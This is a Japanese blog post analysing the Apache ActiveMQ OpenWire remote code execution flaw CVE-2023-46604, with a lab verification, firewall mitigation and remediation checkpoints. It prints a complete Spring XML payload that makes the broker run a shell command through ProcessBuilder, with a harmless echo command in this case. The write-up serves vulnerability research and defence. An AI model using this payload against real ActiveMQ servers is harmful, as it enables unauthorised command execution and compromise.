0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Apache ActiveMQ - RCE脆弱性(CVE-2023-46604)

Last updated at Posted at 2023-11-03

概要

CVE-2023-46604は、Apache ActiveMQにおけるリモートコード実行の脆弱性です。
この脆弱性によりActiveMQブローカーにネットワークアクセスできるリモートの攻撃者はOpenWireプロトコルでシリアライズされたクラス型を操作して、ブローカーにクラスパス上の任意のクラスをインスタンス化させることで、任意のシェルコマンドを実行できる可能性があります。

公開日

2023/10/27

Apache ActiveMQとは

image.png
ActiveMQはオープンソースのJavaベースのメッセージブローカーです。
複数の標準規格プロトコル(AMQP、STOMP、MQTT 等)をサポートしており、幅広い言語(Java、C、C++、Ruby、Perl、Python、PHP等)とプラットフォームの中からクライアントを選択することができます。

影響を受けるバージョン

  • Apache ActiveMQ 5.18.0 ~ 5.18.2
  • Apache ActiveMQ 5.17.0 ~ 5.17.5
  • Apache ActiveMQ 5.16.0 ~ 5.16.6
  • Apache ActiveMQ ~ 5.15.15

修正バージョン

この問題を修正した以下のバージョンへのアップグレードが推奨されています。

  • Apache ActiveMQ 5.18.3
  • Apache ActiveMQ 5.17.6
  • Apache ActiveMQ 5.16.7
  • Apache ActiveMQ 5.15.16

公式情報

技術的詳細

X1r0z氏とRapid7が作成した以下の記事に技術的な分析の詳細が記載されています。

PoC Code

X1r0z氏が作成したもの。

検証

上記、PoC Codeを使用します。

この検証は本脆弱性の研究目的で行います。

ターゲットサーバの環境

[root@vm-001 ~]# cat /etc/redhat-release
AlmaLinux release 8.8 (Sapphire Caracal)

[root@vm-001 ~]# /opt/activemq/bin/activemq --version | grep ActiveMQ
ActiveMQ 5.16.2

[root@vm-001 ~]# cat /opt/activemq/conf/activemq.xml | grep -E -o transport.*openwire.*:[0-9]+
transportConnector name="openwire" uri="tcp://0.0.0.0:61616

poc.xml

ClassPathXmlApplicationContextクラスをインスタンス化する際の引数configLocationにxmlファイルを指定します。xmlファイルの指定はhttpで提供されるリモートURLにすることが可能です。このxmlファイルは任意のwebサーバに配置します。

ターゲットサーバが外部のインターネットへの接続に制限がある環境では、悪意のあるxmlファイルをロードできない為、攻撃を成功させるのは困難と思われます。

xmlファイルは、ProcessBuilderクラスのstartメソッドでOSのコマンドを実行するという内容です。検証する実行コマンドはecho Hello > /tmp/RCE_successです。

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo Hello > /tmp/RCE_success</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

実行

※検証環境の情報を出力しないようソースコードを一部変更しています。

image.png

結果

成功

image.png

  1. /tmp/RCE_successファイルが作成されていることを確認。
  2. /tmp/RCE_successファイルの中身が「Hello」となっていることを確認。
  3. コマンドの実行ユーザはActiveMQの実行ユーザであることを確認。
  4. 以下の記事でログに出力されたと記載があるが、今回の検証ではログ出力は確認できず。
    https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis

OpenWireの通信ポートをFWで制御

OpenWireのListenポート(デフォルトは61616)をFWで送信元IPアドレスを制御。
通信できなくなるので当然、攻撃は成功しない。

image.png

対策をするうえでの確認観点

検証結果を踏まえ、本脆弱性の対策をするうえでの確認観点は以下と考えます。

  1. OpenWireプロトコルを使用しているか。
  2. OpenWireのListenポートにリモートからアクセス可能か。
  3. ActiveMQサーバからインターネットへの接続は制限されているか。

CISA KEV Catalog

11/2に追加されました。

早いもので10/10に悪用があったようでゼロデイですね。

参考URL

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?